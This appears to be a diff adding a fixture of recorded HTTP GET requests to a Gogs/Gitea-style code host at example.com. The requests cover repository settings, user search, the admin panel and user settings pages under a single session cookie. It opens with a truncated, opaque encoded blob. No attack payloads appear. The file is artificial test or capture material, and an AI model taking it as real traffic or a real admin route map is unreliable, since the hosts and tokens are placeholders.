1JQ1VU1d09S0NV1NXzPUjDVTzVyz1Kw1W81ec9ScNVfNXfPUvPUHahAaxAapQW5QGtQGrUFvMBrMBqvBbnAa3AavwW8IGsKGqCFuSBrShqz5b6q8oWgoG6qGuqFpaBu6hr5haBgbpoa5YWlYG7aGveFoOBuuhrvhaXibD9QitIgtUovcorSoLVqL3mK0mC1Wi93itLgtXovfErSELVFL3JK0pC1Z+9/ieUvRUrZULXVL09K2dC19y9Aytkwtc8vSsrZsLXvL0XK2XC13y9Pyth+oQ+gQO6QOuUPpUDu0Dr3D6DA7rA67w+lwO7wOvyPoCDuijrgj6Ug7su5/4OQdRUfZUXXUHU1H29F19B1Dx9gxdcwdS8fasXXsHUfH2XF13B1Px9t9oB6hR+yReuQepUft0Xr0HqPH7LF67B6nx+3xevyeoCfsiXrinqQn7cn6//GX9xQ9ZU/VU/c0PW1P19P3DD1jz9Qz9yw9a8/Ws/ccPWfP1XP3PD1v/4EGhAFxQBqQB5QBdUAb0AeMAXPAGrAHnAF3wBvwB4KBcCAaiAeSgXQgG/6HcT5QDJQD1UA90Ay0A91APzAMjAPTwDywDKwD28A+cAycA9fAPfAMvMMHGhFGxBFpRB5RRtQRbUQfMUbLine truncated
+{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
